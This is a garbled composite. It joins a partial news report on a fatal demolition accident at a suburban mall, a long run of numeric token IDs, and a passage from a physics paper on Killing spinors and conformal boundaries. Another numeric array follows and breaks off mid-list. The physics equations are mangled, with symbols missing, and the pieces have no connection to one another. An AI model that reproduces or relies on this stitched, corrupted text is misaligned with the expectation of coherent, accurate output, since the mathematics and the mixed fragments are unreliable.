late Thursday at Westfield Hawthorn Mall in the northern suburb. O’Reilly had earned a degree from U of I in agricultural and consumer economics in 2010 but, unable to find a job in his field, had been working in demolition, said his uncle, Dr. William O’Reilly. His family is “devastated” by the tragedy, the uncle said. “He loved life,” Dr. O’Reilly said. “He liked to make people laugh.” The accident occurred at about 11 p.m. Thursday as a work crew was knocking down an exterior wall of a former Ruby Tuesday restaurant to make way for a new Maggiano’s Little Italy. Workers were removing an outer layer of brick when concrete pieces fell from the top of the wall and hit three workers. Countryside Fire Protection District ambulances arrived in three minutes, and workers had already removed the debris from the victims, Deputy Chief Chuck Smith said. Paramedics took two of the workers, including O’Reilly, to Advocate Condell Medical Center in Libertyville. “At this point there is no indication that this is other than a tragic accident,” Vernon Hills Village Manger Michael Allison said in a press release. “Our deepest condolences and prayers go out to the family of the deceased.” The federal Occupational Health and Safety Administration is investigating the accident. The primary contractor at the work site was P.S. Demolition, which had no history of safety violations, OSHA spokesman Scott Allen said. The Wheeling-based company’s Web site describes it as fully licensed, insured and bondable, and states that it uses both hand tools
[ 630, 28196, 281, 370, 46, 64, 20, 5, 313, 90, 13, 91, 13, 93, 91, 1572, 14767, 46, 2582, 20, 1181, 708, 426, 708, 27468, 9, 17, 21687, 9, 91, 13, 93, 91, 10, 559, 340, 27468, 9, 18, 21687, 9, 91, 13, 93, 91, 10, 559, 473, 9, 90, 9952, 19, 36399, 545, 466, 37755, 4207, 496, 958, 407, 16122, 3891, 69, 2162, 3851, 581, 476, 921, 326, 669, 2162, 13061, 18, 32845, 17, 1352, 4683, 2282, 13, 347, 7312, 581, 310, 1959, 281, 294, 3182, 370, 83, 61, 4287, 391, 393, 4153, 1035, 4144, 13, 91, 1337, 2009, 92, 91, 19446, 835, 669, 4153, 5, 310, 667, 6032, 13, 17663, 5058, 1159, 327, 370, 46, 64, 20, 1366, 4795, 275, 247, 29269, 9261, 273, 253, 7548, 7982, 2367, 2690, 92, 69, 599, 84, 63, 19, 578, 46, 64, 20, 889, 4287, 393, 4153, 63, 19, 464, 2690, 92, 69, 599, 84, 63, 19, 578, 46, 64, 20, 3363, 1723, 13, 275, 253, 1246, 3634, 4366, 326, 370, 83, 30, 18, 16, 90, 5, 310, 247, 475, 19293, 11, 4327, 273, 14599, 13249, 15, 187, 187, 3378, 253, 20059, 7548, 1617, 3891, 10320, 267, 7713, 3851, 323, 370, 88, 5, 352, 3637, 8356, 326, 370, 44, 2029, 3214, 2253, 4144, 5, 310, 17663, 5058, 275, 247, 24092, 273, 253, 29269, 7548, 370, 90, 30, 17, 1352, 1284, 359, 3091, 923, 13, 436, 588, 18302, 253, 1072, 2605, 327, 370, 46, 64, 20, 5, 347, 1008, 2019, 375, 1178, 27, 6755, 579, 1092, 533, 359, 943, 4073, 326, 436, 310, 417, 253, 2087, 4112, 15, 1198, 1650, 13, 581, 812, 1379, 253, 2629, 28095, 7982, 323, 29850, 48324, 13, 10138, 595, 12691, 347, 247, 3943, 4023, 275, 2367, 1991, 92, 51, 7294, 21, 1366, 285, 1379, 370, 44, 5, 281, 320, 253, 43779, 4972, 326, 45933, 253, 806, 2803, 275, 2367, 1991, 92, 51, 7294, 19, 61, 11613, 1926, 1991, 92, 51, 7294, 19, 61, 14829, 1926, 1991, 92, 51, 7294, 21, 1352, 496, 958, 436, 588, 320, 253, 475, 19293, 11, 4327, 273, 370, 44, 5, 326, 15877, 275, 253, 767, 14, 2163, 412, 1306, 2900, 2529, 275, 30762, 905, 19, 36479, 4207, 380, 7897, 16859, 3891, 10320, 267, 7713, 3851, 310, 3021, 5604, 247, 12400, 327, 253, 966, 273, 1896, 21349, 3963, 5482, 13, 3738, 512, 6667, 275, 2593, 905, 1704, 27, 911, 20692, 696, 452, 10165, 273, 43779, 4972, 323, 534, 436, 7466, 6556, 15, 187, 187, 15968, 272, 281, 253, 1083, 387, 1133, 13, 253, 29269, 7548, 310, 247, 8566, 1264, 14, 38556, 370, 46, 64, 20, 5, 313, 1615, 9376, 582, 285, 432, 253, 1840, 5955, 247, 3626, 4327, 273, 8612, 323, 253, 7982, 310, 905, 20, 10994, 696, 256, 9952, 19, 13380, 46, 2582, 20, 1181, 14082, 21757, 2582, 17, 1572, 63, 19, 559, 577, 26997, 88, 13380, 9, 17, 10, 9899, 91, 93, 60, 91, 1181, 575, 15, 17766, 326, 253, 830, 273, 253, 7982, 3891, 20, 10994, 3851, 310, 10534, 273, 253, 830, 5421, 275, 1008, 22088, 333, 27, 6622, 77, 5830, 1570, 496, 326, 3806, 271, 1774, 2554, 310, 4546, 407, 253, 581, 14, 630, 905, 1464, 696, 17345, 209, 575, 12, 2582, 17, 575, 13, 534, 556, 19633, 4309, 905, 2162, 17, 696, 209, 575, 30, 209, 575, 2582, 17, 14082, 374, 2582, 90, 9, 55, 9952, 88, 1572, 14767, 90, 30, 17, 1181, 91, 93, 60, 91, 1181, 209, 575, 30, 17345, 259, 13380, 9, 18, 10, 44162, 88, 13380, 9, 17, 10, 9899, 91, 93, 60, 91, 1181, 575, 15, 380, 830, 669, 1464, 5, 310, 247, 4156, 475, 25855, 3057, 581, 14, 630, 11, 327, 370, 46, 64, 20, 1352, 380, 954, 15246, 1039, 281, 15313, 436, 275, 253, 1083, 387, 1133, 310, 281, 3877, 253, 830, 273, 253, 7548, 43779, 5508, 263, 5150, 275, 2593, 905, 1704, 27, 67, 44, 2354, 696, 285, 4549, 281, 253, 1543, 273, 1008, 2019, 375, 1178, 27, 6755, 579, 1570, 187, 187, 510, 43779, 4972, 370, 44, 2029, 3214, 2253, 4144, 5, 310, 253, 475, 1785, 2275, 4972, 11, 323, 253, 2761, 3057, 830, 669, 1464, 1366, 347, 3637, 432, 253, 7424, 611, 15638, 337, 575, 13, 611, 575, 30, 209, 575, 17, 575, 15, 380, 24679, 273, 370, 44, 5, 3021, 6305, 4513, 370, 46, 64, 20, 1366, 285, 25761, 436, 6305, 2492, 310, 811, 13110, 33592, 342, 1980, 2570, 13249, 370, 91, 1352, 2091, 253, 24679, 273, 370, 44, 5, 512, 2810, 352, 15693, 247, 370, 54, 9, 18, 1009, 10377, 273, 253, 7548, 2605, 13, 285, 253, 12801, 2317, 370, 46, 64, 20, 16, 54, 9, 18, 1009, 310, 275, 2087, 247, 8566, 36391, 49228, 2553, 13, 327, 534, 370, 91, 5, 778, 320, 12258, 347, 247, 1980, 2570, 13249, 15, 2053, 403, 3839, 1925, 1023, 338, 797, 5713, 433, 1264, 14, 21338, 3502, 275, 253, 6239, 15, 1623, 253, 643, 1133, 13, 604, 370, 44, 5, 556, 387, 1878, 581, 1327, 14, 13784, 12801, 840, 1580, 253, 310, 6213, 1387, 273, 247, 8566, 16751, 310, 8566, 13, 359, 27566, 326, 370, 46, 64, 20, 5, 19943, 387, 1878, 247, 370, 54, 9, 18, 1572, 3181, 530, 9, 18, 1009, 10377, 13, 285, 253, 2605, 2931, 407, 669, 1464, 5, 310, 247, 475, 13473, 280, 11, 2761, 3057, 2605, 15, 496, 436, 1083, 359, 778, 9569, 2629, 370, 19, 61, 2059, 2911, 17911, 11627, 669, 4535, 64, 18, 1366, 669, 4535, 64, 19, 5, 327, 253, 32621, 370, 54, 9, 18, 1572, 3181, 530, 9, 18, 1009, 285, 3630, 905, 44, 13473, 280, 696, 611, 14082, 23577, 575, 30, 17345, 270, 2582, 18, 13380, 2582, 18, 1181, 12, 67, 2582, 19, 13380, 2582, 19, 1181, 575, 15, 187, 187, 4509, 3891, 2162, 17, 3851, 359, 27566, 326, 253, 11276, 10235, 370, 88, 13061, 18, 10392, 310, 247, 21349, 2931, 475, 21705, 11, 1159, 327, 370, 46, 64, 20, 5, 1108, 326, 310, 13, 352, 310, 13727, 762, 370, 44, 2029, 3214, 2253, 4144, 1352, 5076, 13, 253, 2761, 3057, 830, 669, 1464, 5, 310, 247, 475, 22045, 830, 11, 10534, 672, 253, 1159, 370, 88, 13061, 18, 10392, 310, 11678, 2762, 15, 844, 3091, 923, 1996, 326, 627, 403, 6667, 323, 534, 669, 1464, 5, 310, 3057, 285, 417, 3057, 15, 1623, 253, 643, 1133, 13, 253, 10235, 370, 88, 13061, 17, 10392, 310, 275, 2087, 760, 247, 12171, 2931, 1159, 273, 370, 91, 1337, 2009, 92, 91, 3303, 347, 581, 11403, 407, 15806, 326, 253, 17430, 7982, 370, 72, 64, 53, 426, 1926, 2690, 92, 70, 9496, 88, 13061, 17, 48138, 2690, 92, 69, 599, 91, 464, 2690, 92, 69, 3080, 2009, 92, 91, 724, 310, 247, 4156, 767, 14, 26109, 13, 533, 275, 2087, 253, 2570, 13249, 370, 91, 5, 310, 2931, 760, 12171, 35117, 24, 62, 733, 588, 320, 4217, 275, 752, 3637, 281, 4853, 247, 3969, 17430, 4644, 830, 23577, 53, 708, 708, 374, 26997, 88, 13380, 9, 17, 10, 9899, 91, 93, 60, 91, 1181, 575, 15, 10036, 13, 436, 310, 247, 4156, 13148, 327, 370, 46, 64, 20, 1366, 342, 14082, 23577, 17, 209, 575, 30, 209, 575, 2582, 53, 575, 15, 187, 187, 27869, 552, 43779, 5508, 263, 1712, 1704, 27, 67, 44, 2354, 94, 187, 25916, 187, 187, 688, 436, 2593, 359, 921, 326, 253, 43779, 5508, 263, 669, 4259, 5, 14757, 247, 43779, 5508, 263, 669, 4635, 5, 327, 253, 29269, 7548, 370, 46, 64, 20, 5, 326, 35910, 253, 43779, 5508, 263, 5150, 275, 1008, 2019, 375, 1178, 27, 6755, 579, 1570, 187, 187, 1231, 3135, 407, 43800, 253, 49674, 1939, 3665, 273, 581, 14, 13015, 905, 52, 2573, 6301, 696, 544, 70, 33805, 17, 14082, 657, 26997, 18, 16, 19, 1181, 90, 575, 13, 35911, 18, 209, 575, 30, 209, 575, 55, 47686, 18, 16, 19, 1181, 35242, 575, 13, 35911, 19, 559, 544, 70, 33805, 20, 209, 575, 30, 209, 575, 9, 55, 9952, 88, 1572, 18990, 18, 16, 19, 1181, 91, 575, 13, 323, 253, 1881, 14, 34716, 21003, 7982, 3891, 52, 2573, 8001, 844, 9569, 247, 3969, 3665, 323, 253, 1264, 14, 10994, 2367, 2690, 92, 69, 599, 84, 63, 19, 578, 46, 64, 20, 724, 327, 253, 29269, 7548, 27, 905, 3804, 18, 696, 299, 9952, 18, 13380, 9, 20, 21687, 209, 575, 30, 209, 575, 12, 27468, 9, 17, 21687, 575, 13, 299, 13380, 9, 20, 10, 33805, 19, 12, 70, 13380, 9, 20, 10, 33805, 20, 209, 575, 30, 209, 575, 19, 393, 18990, 88, 13380, 9, 17, 21687, 16, 19, 1181, 1182, 575, 13, 285, 588, 897, 14452, 370, 74, 13, 75, 13, 76, 30, 18, 13, 19, 13, 20, 5, 323, 436, 49674, 1939, 3665, 15, 187, 187, 1231, 1735, 5645, 253, 1740, 14, 6967, 43779, 5508, 263, 5150, 347, 247, 11276, 2962, 275, 370, 90, 1352, 2596, 7866, 407, 15806, 326, 669, 4220, 2850, 1906, 426, 551, 70, 2850, 1906, 2000, 66, 393, 4220, 63, 66, 2029, 1588, 473, 9, 90, 3822, 1292, 347, 669, 4220, 2253, 1906, 426, 551, 70, 63, 66, 11110, 1906, 393, 4220, 64, 66, 2029, 1588, 473, 9, 18, 16, 90, 10, 370, 285, 253, 1673, 4757, 35205, 347, 370, 39, 30, 39, 13061, 17, 49633, 90, 39, 13061, 18, 3117, 2766, 1588, 473, 9, 90, 63, 19, 1009, 359, 923, 326, 401, 2582, 35911, 23577, 7, 48936, 473, 9, 90, 10, 575, 15, 2732, 247, 13782, 359, 840, 4044, 905, 76, 339, 911, 4029, 565, 696, 209, 575, 30, 209, 575, 17, 575, 13, 835, 669, 1906, 2029, 4144, 13, 91, 1337, 2009, 1182, 1366, 285, 835, 905, 34, 17, 6301, 696, 329, 13380, 9, 17, 21687, 209, 575, 30, 209, 575, 14, 259, 13380, 9, 18, 21687, 299, 13380, 9, 20, 10, 33805, 18, 12, 35911, 16614, 88, 13380, 9, 17, 21687, 16, 19, 1181, 313, 2582, 91, 428, 27468, 93, 91, 45472, 259, 13380, 9, 17, 21687, 299, 13380, 9, 20, 10, 33805, 19, 14, 35911, 16614, 88, 13380, 9, 17, 21687, 16, 19, 1181, 313, 2582, 91, 559, 13380, 93, 91, 45472, 259, 13380, 9, 17, 21687, 299, 13380, 9, 20, 10, 33805, 20, 575, 13, 310, 253, 8840, 1340, 1307, 275, 253, 7466, 273, 370, 34, 5, 1677, 407, 3891, 34, 8001, 380, 43779, 5508, 263, 669, 4259, 5, 840, 35205, 347, 905, 44, 2354, 4347, 66, 696, 708, 48936, 23577, 17, 575, 13, 835, 669, 7597, 64, 17, 5, 310, 253, 8840, 1340, 4816, 90, 2911, 17777, 10, 629, 273, 253, 611, 41638, 5508, 263, 669, 7597, 1352, 4974, 46306, 436, 715, 4245, 247, 4283, 1340, 1307, 326, 310, 45963, 5058, 15, 380, 749, 16378, 1307, 840, 9563, 23577, 17, 708, 48936, 470, 575, 15, 187, 187, 510, 20553, 3891, 856, 11817, 9014, 275, 253, 1655, 3634, 13, 1239, 23577, 18, 23577, 17, 708, 48936, 23577, 17, 23577, 17, 575, 13, 23577, 20, 23577, 17, 209, 575, 30, 209, 575, 2582, 19, 23577, 17, 575, 15, 844, 778, 5206, 253, 1563, 6779, 273, 253, 17356, 12624, 27, 23577, 74, 708, 48936, 313, 187, 187, 60, 68, 260, 1181, 470, 708, 27468, 74, 12159, 187, 13380, 74, 1181, 708, 470, 187, 187, 10, 575, 13, 23577, 17, 209, 575, 30, 575, 9, 187, 187, 60, 68, 260, 1181, 470, 708, 309, 2582, 19, 61, 187, 14, 42, 2582, 19, 708, 470, 187, 187, 10, 575, 13, 342, 669, 2592, 64, 74, 5, 253, 49676, 12624, 35117, 25, 62, 380, 12378, 2515, 840, 3490, 669, 7597, 64, 17, 5, 281, 1379, 253, 830, 5180, 26, 62, 905, 7597, 17, 696, 23577, 17, 708, 48936, 187, 187, 61, 187, 17, 535, 575, 30, 17345, 187, 187, 2582, 17, 61, 187, 2582, 17, 535, 575, 15, 3856, 669, 4635, 5, 310, 247, 767, 14, 15658, 5508, 263, 285, 669, 4635, 64, 17, 5, 310, 3365, 247, 3638, 15, 380, 1264, 14, 6967, 43779, 5508, 263, 5150, 840, 4916, 905, 20, 69, 44, 2354, 696, 5081, 63, 15830, 20, 10, 45382, 74, 428, 329, 13380, 9, 17, 10, 74, 1181, 428, 259, 13380, 9, 18, 21687, 23577, 74, 2387, 708, 48936, 470, 575, 15, 831, 1264, 14, 6967, 43779, 5508, 263, 5150, 310, 10534, 273, 253, 830, 1119, 275, 1008, 2019, 375, 1178, 27, 6755, 579, 1092, 285, 5421, 275, 1008, 22088, 333, 27, 6622, 77, 5830, 1570, 3010, 10534 ]	form tangent to $M_3$ (y,z,\|z)\_[M\_3]{} & = & \_[(0)]{}(z,\|z) + y \_[(1)]{}(z,\|z) + O(y\^2)\[phiexp\]. In fact by expanding (\[dphi\]) one can show that $\phi_{(1)}=0$. Of course, as usual one is free to redefine $r\rightarrow r \Omega(\psi,z,\bar{z})$, where $\Omega$ is any smooth, nowhere zero function on $M_3$, resulting in a conformal transformation of the boundary metric ${\mathrm{d}}s^2_{M_3}\rightarrow \Omega^2{\mathrm{d}}s^2_{M_3}$. However, in the present context notice that $r=1/y$ is a natural choice of radial coordinate. With the analytic boundary condition (\[wanalytic\]) for $w$ it follows automatically that $K=\partial_\psi$ is nowhere zero in a neighbourhood of the conformal boundary $y=0$. As we shall see, this will reproduce the same structure on $M_3$ as [@Closset:2012ru], but we should stress that this is not the general situation. For example, one could take the standard hyperbolic metric for Euclidean AdS, conformally embedded as a unit ball in ${\mathbb{R}}^4$, and take $K$ to be the Killing vector that rotates the first factor in ${\mathbb{R}}^2\oplus {\mathbb{R}}^2\cong {\mathbb{R}}^4$. In fact this will be the natural choice of $K$ that arises in the two-monopole solution described in appendix \[2pole\]. The ansatz (\[wanalytic\]) is thus certainly a restriction on the class of possible globally regular solutions, although all examples in section \[sec:explicit\] have choices of Killing vector for which this expansion holds. Returning to the case at hand, the conformal boundary is a compact three-manifold $M_3$ (by assumption), and from the above discussion a natural choice of representative for the metric is \[3metric\] s\^2\_[M\_3]{} &=& (+\_0)\^2 + 4\^[w\_[(0)]{}]{}z\|[z]{} . Notice that the form of the metric (\[3metric\]) is precisely of the form studied in [@Alday:2013lba]. In that reference an important role is played by the one-form \[eta\] +\_0 , which has exterior derivative \[phi0\] = \_0 &=& 2\_y(V\^w)\_[y=0]{}z\|[z]{} = w\_[(1)]{}\^[w\_[(0)]{}]{}z\|[z]{} . The form $\eta$ is a global almost contact one-form on $M_3$. The most straightforward way to derive this in the case at hand is to note the form of the boundary Killing spinor equation in section \[sec:bKSE\] and appeal to the results of [@Closset:2012ru]. The Killing vector $K=\partial_\psi$ is the Reeb vector for the almost contact form $\eta$, as follows from the equations K&=& 1 , K = 0 . The orbits of $K$ thus foliate $M_3$, and moreover this foliation is transversely holomorphic with local complex coordinate $z$. When the orbits of $K$ all close it generates a $U(1)$ symmetry of the boundary structure, and the orbit space $M_3/U(1)$ is in general a compact orbifold surface, on which $z$ may be regarded as a local complex coordinate. These are generally called Seifert fibred three-manifolds in the literature. On the other hand, if $K$ has at least one non-closed orbit then since the isometry group of a compact manifold is compact, we deduce that $M_3$ admits at least a $U(1)\times U(1)$ symmetry, and the structure defined by $\eta$ is a toric almost contact structure. In this case we may introduce standard $2\pi$-period coordinates $\varphi_1$, $\varphi_2$ on the torus $U(1)\times U(1)$ and write \[Ktoric\] K &=& \_ = b\_1\_[\_1]{}+b\_2\_[\_2]{} . From (\[phi0\]) we deduce that the Taylor coefficient $w_{(1)}$ is a globally defined basic function on $M_3$ – that is, it is invariant under $K=\partial_\psi$. Moreover, the almost contact form $\eta$ is a contact form precisely when the function $w_{(1)}$ is everywhere positive. We shall see later that there are examples for which $\eta$ is contact and not contact. On the other hand, the coefficient $w_{(0)}$ is in general only a locally defined function of $z,\bar{z}$, as one sees by noting that the transverse metric $g_T = {\mathrm{e}}^{w_{(0)}}{\mathrm{d}}z{\mathrm{d}}\bar{z}$ is a global two-tensor, but in general the complex coordinate $z$ is defined only locally.[^7] It will be useful in what follows to define a corresponding transverse volume form \_T & & 2\^[w\_[(0)]{}]{}z\|[z]{} . Again, this is a global tensor on $M_3$, with &=& \_0 = \_T . Boundary Killing spinor {#sec:bKSE} ----------------------- In this section we show that the Killing spinor $\epsilon$ induces a Killing spinor $\chi$ on the conformal boundary $M_3$ that solves the Killing spinor equation in [@Closset:2012ru]. We begin by recalling the orthonormal frame of one-forms \[SDEframe\] [e]{}\^0 &=& V\^[1/2]{}y , \^1 = V\^[-1/2]{}(+) , \^2 + [e]{}\^3 = (V\^w)\^[1/2]{}z , for the self-dual Einstein metric (\[SDE\]). We introduce a corresponding frame for the three-metric ${\mathrm{d}}s^2_{M_3}$ on the conformal boundary: \[fra1\] e\^1\_[(3)]{} = + \_[(0)]{} , e\_[(3)]{}\^2+e\_[(3)]{}\^3 = 2 \^[w\_[(0)]{}/2]{} z , and will use indices $i,j,k=1,2,3$ for this orthonormal frame. We next expand the four-dimensional Killing spinor equation as a Taylor series in $y$. One starts by noting that $\Gamma^\mu = {e^\mu}_a \Gamma^a=\mathcal O(y)$. But as $\Gamma_\mu = {e^a}_\mu \Gamma_a=\mathcal O(1/y) $ and the field strength expands as $F=F_{(0)}+yF_{(1)}+\mathcal O(y^2)$ we see that F\_ \^ \_& =& O(y) . After a computation we then obtain \[kseexpanint\] = 0 , where $\mu=\psi,z,\bar z$, and where \[A0frame\] A\_[(0)]{} = - w\_[(1)]{} e\_[(3)]{}\^1+ \^[-w\_[(0)]{}/2]{} (\_z - \_[\|z]{}) w\_[(0)]{} e\_[(3)]{}\^2- \^[-w\_[(0)]{}/2]{} (\_z +\_[\|z]{}) w\_[(0)]{} e\_[(3)]{}\^3 , is the lowest order term in the expansion of $A$ given by (\[A\]). The Killing spinor $\epsilon$ then expands as \[KSEexpa\] & =& \_0 , where $\zeta_0$ is the lowest order ($y$-independent) part of the Kähler spinor $\zeta$. Substituting this into gives a leading order term that is identically zero. The subleading term then reads \_0 & =& 0 . The projections (\[projections\]), in the current context, read \_1 \_0 & =& \_0 \_0 , \_3 \_0 = \_2 \_0 . We may choose the following representation of the gamma matrices: \_i & =& ( [c c]{} 0 & \_[i]{}\ \_[i]{} & 0 ) , \_0 = ( [c c]{} 0 & I\_2\ -I\_2 & 0 ) , with $\sigma_i$ the Pauli matrices.[^8] The projection conditions then force $\zeta_0$ to take the form[^9] \[zeta0\] \_0 & =& \ 0 = \_0\ \_0 . Here $\chi$ is a two-component spinor and $\chi_0$ is simply a constant. The three-dimensional Killing spinor equation then becomes \[3dKSE\] (\^[(3)]{}\_i - A\_[(0)i]{} - w\_[(1)]{} \_i ) & =& 0 . This three-dimensional Killing spinor equation is precisely of the form found in [@Closset:2012ru], and studied in [@Alday:2013lba]. More precisely
[ 187, 29, 5173, 266, 14, 81, 1321, 373, 404, 71, 31, 436, 10295, 3164, 310, 417, 2104, 281, 9446, 253, 29227, 11291, 40791, 285, 778, 417, 452, 253, 1463, 6254, 323, 352, 15, 187, 29, 5173, 266, 14, 81, 1321, 373, 404, 71, 31, 2007, 5839, 588, 2028, 479, 3517, 187, 29, 6623, 26948, 20133, 31, 327, 292, 968, 744, 1321, 27, 812, 2649, 891, 816, 513, 326, 672, 891, 7491, 253, 8323, 1262, 32, 187, 29, 312, 40826, 31, 288, 361, 76, 27, 849, 651, 891, 755, 352, 187, 29, 35567, 38, 74, 31, 717, 40826, 27, 752, 513, 368, 971, 281, 3334, 3736, 187, 29, 11063, 63, 31, 24387, 15, 187, 29, 5173, 266, 14, 81, 1321, 373, 404, 71, 31, 5717, 368, 512, 187, 29, 296, 2695, 525, 31, 1907, 11744, 3237, 1408, 272, 884, 15, 2125, 10309, 27, 4807, 293, 7974, 8942, 41706, 13829, 608, 2313, 2696, 47, 32440, 15, 883, 66, 16, 72, 16, 79, 36464, 4307, 4030, 342, 898, 15, 740, 13, 12371, 667, 1576, 281, 897, 253, 898, 15, 740, 6254, 390, 5046, 1014, 247, 4993, 32, 187, 29, 5173, 266, 14, 81, 1321, 373, 404, 71, 31, 588, 320, 896, 342, 625, 8692, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 8261, 13, 594, 352, 434, 1335, 2819, 275, 253, 3430, 1659, 187, 29, 257, 77, 300, 31, 440, 412, 13, 973, 309, 816, 1611, 264, 1097, 285, 6747, 789, 15, 309, 1849, 1694, 271, 2228, 751, 346, 2428, 8280, 16, 2135, 8777, 393, 79, 1691, 1071, 187, 29, 312, 40826, 31, 23184, 38, 74, 27, 18307, 14, 33710, 187, 29, 257, 77, 300, 31, 330, 18576, 8280, 16, 2135, 8777, 393, 79, 1691, 1071, 187, 29, 257, 77, 300, 31, 28564, 40267, 281, 1818, 9617, 15, 187, 29, 257, 77, 300, 31, 346, 187, 29, 6623, 836, 33355, 18, 31, 546, 77, 300, 27, 7764, 1053, 626, 10802, 13, 897, 3944, 1358, 23164, 15, 5646, 15, 681, 281, 15596, 13, 1053, 626, 897, 10871, 347, 17256, 2368, 15, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 752, 513, 368, 452, 7117, 327, 253, 1669, 1930, 32, 187, 29, 257, 77, 300, 31, 26197, 342, 3300, 20917, 251, 187, 29, 11063, 63, 31, 309, 816, 20582, 884, 15, 2125, 14425, 5357, 12323, 6235, 895, 13, 1223, 20864, 352, 537, 7850, 33676, 1529, 5522, 1873, 537, 11474, 309, 20582, 253, 1873, 534, 310, 818, 1976, 9180, 13, 2139, 697, 33676, 969, 32, 187, 29, 37, 5401, 4316, 2259, 31, 2257, 893, 268, 446, 91, 1060, 187, 29, 257, 77, 300, 31, 309, 897, 690, 11640, 342, 3857, 285, 5017, 84, 751, 326, 187, 29, 11801, 304, 90, 31, 288, 361, 76, 27, 3440, 6335, 13, 1132, 3550, 13, 285, 253, 581, 891, 816, 1160, 187, 29, 257, 77, 300, 31, 1292, 2717, 4307, 187, 29, 35567, 38, 74, 31, 717, 40826, 27, 923, 10584, 840, 13, 305, 17670, 604, 368, 816, 878, 271, 2232, 6917, 552, 15439, 313, 284, 1146, 642, 2173, 5522, 10, 187, 29, 11063, 63, 31, 309, 20582, 436, 3048, 27, 3944, 1358, 5646, 15, 15177, 3024, 15, 3024, 16, 49399, 16, 34400, 16, 77, 15912, 16, 34400, 14, 740, 15, 2125, 14, 3024, 3305, 14, 74, 20373, 15, 14699, 428, 533, 352, 20582, 347, 247, 964, 23537, 1873, 537, 187, 29, 328, 412, 31, 546, 77, 300, 13, 50276, 14193, 29, 3, 12467, 18, 3, 5, 11671, 79, 21288, 12467, 19, 3, 5, 11671, 79, 21288, 12467, 20, 3, 50276, 4, 14069, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 19619, 13, 987, 5532, 327, 253, 581, 368, 816, 1160, 13, 12921, 41020, 3607, 187, 29, 35567, 38, 74, 31, 4744, 63, 27, 3448, 1329, 16, 16690, 7211, 187, 29, 11063, 63, 31, 6101, 18, 476, 1361, 479, 499, 84, 32, 187, 29, 11801, 304, 90, 31, 288, 361, 76, 27, 465, 187, 29, 47956, 968, 744, 1321, 31, 2884, 26948, 20133, 27, 4754, 15, 533, 1335, 13, 891, 4517, 260, 9194, 1886, 625, 685, 13872, 8323, 10883, 352, 15, 326, 434, 816, 479, 187, 29, 328, 412, 31, 546, 77, 300, 13, 533, 604, 891, 497, 368, 891, 651, 1007, 715, 298, 39232, 3185, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 285, 835, 310, 326, 13458, 32, 187, 29, 35567, 38, 74, 31, 4744, 63, 27, 328, 6896, 285, 31934, 22, 2204, 352, 187, 29, 74, 37, 1714, 31, 309, 574, 247, 1895, 342, 11744, 275, 611, 1513, 280, 1051, 672, 309, 29393, 264, 619, 985, 4536, 11744, 651, 320, 13603, 275, 10701, 15821, 1051, 309, 812, 755, 352, 598, 285, 3515, 342, 271, 604, 5397, 259, 13409, 17, 598, 285, 840, 970, 259, 4904, 64, 4032, 663, 386, 533, 2990, 14, 20649, 651, 816, 921, 326, 11744, 310, 13603, 642, 2647, 752, 309, 858, 15, 733, 651, 5108, 327, 690, 29393, 84, 285, 789, 4030, 327, 2571, 15, 1292, 1024, 327, 298, 15912, 13, 697, 247, 9928, 1895, 537, 11744, 4307, 323, 690, 673, 533, 1024, 697, 9106, 4783, 347, 2080, 247, 187, 29, 74, 37, 1714, 31, 256, 2990, 14, 20649, 310, 7514, 15, 313, 42, 717, 970, 271, 17545, 608, 7554, 2696, 47, 3120, 342, 253, 891, 24966, 1530, 6333, 10, 309, 1663, 971, 281, 897, 10701, 7205, 537, 667, 1361, 651, 320, 14109, 15, 187, 29, 6623, 26948, 20133, 31, 327, 292, 968, 744, 1321, 27, 4344, 2217, 13, 419, 3227, 187, 29, 75, 17443, 18, 31, 1680, 627, 667, 1959, 1111, 13068, 3694, 281, 6184, 432, 3909, 323, 13520, 32, 187, 29, 4698, 316, 9884, 2091, 309, 1511, 1633, 275, 5606, 390, 275, 253, 9882, 1046, 3159, 4850, 762, 12490, 347, 3430, 15, 309, 717, 23629, 275, 305, 8592, 15, 1737, 513, 309, 452, 281, 3334, 281, 1056, 326, 15529, 32, 187, 29, 11801, 304, 90, 31, 288, 361, 76, 27, 1072, 1227, 8236, 16, 532, 351, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 309, 1053, 626, 871, 752, 368, 1472, 2820, 281, 3334, 13, 533, 352, 2506, 626, 2226, 275, 253, 43445, 187, 29, 35567, 38, 74, 31, 4744, 63, 27, 5658, 403, 327, 3330, 3736, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 8261, 13, 1818, 326, 281, 253, 1227, 9511, 16, 12550, 4537, 14206, 29976, 10936, 16, 38499, 187, 29, 3335, 17841, 23341, 2960, 31, 327, 292, 968, 744, 1321, 27, 1694, 247, 1054, 281, 1361, 562, 3736, 9418, 187, 29, 312, 40826, 31, 288, 361, 76, 27, 891, 1353, 2820, 281, 3334, 436, 5987, 1358, 25932, 15, 3024, 32395, 70, 3695, 435, 23615, 22477, 16, 70, 3695, 33710, 187, 29, 257, 77, 300, 31, 19023, 440, 412, 6701, 247, 2257, 352, 2987, 1270, 15, 1292, 2139, 298, 39232, 32, 187, 29, 42576, 254, 10683, 31, 17459, 187, 29, 3152, 3681, 80, 31, 667, 7535, 2970, 253, 278, 15381, 15191, 281, 789, 12691, 275, 44905, 13, 323, 4096, 273, 10299, 32, 187, 29, 47956, 968, 744, 1321, 31, 7630, 280, 23341, 2960, 27, 4754, 15, 604, 891, 476, 15, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 8261, 13, 594, 326, 434, 247, 268, 4904, 187, 29, 73, 361, 76, 31, 2195, 34043, 1040, 717, 40826, 187, 29, 312, 40826, 31, 288, 361, 76, 27, 50276, 74, 452, 253, 268, 4904, 8038, 187, 29, 32334, 31, 717, 40826, 27, 329, 23307, 30454, 29041, 313, 4785, 34, 10, 476, 2085, 17958, 3694, 417, 9403, 2130, 275, 253, 745, 474, 14425, 43445, 428, 23359, 323, 247, 367, 4899, 32, 2594, 5987, 1358, 25932, 15, 3024, 16, 5646, 23615, 377, 284, 428, 47303, 2637, 27, 20250, 1909, 403, 36542, 2626, 14, 14824, 12149, 13, 285, 943, 320, 908, 387, 634, 1211, 2495, 15, 187, 29, 3335, 17841, 23341, 2960, 31, 697, 281, 513, 342, 11744, 6303, 4438, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 8261, 13, 840, 20850, 13390, 14, 788, 5731, 28, 20850, 13390, 14, 788, 3334, 3584, 356, 5116, 1568, 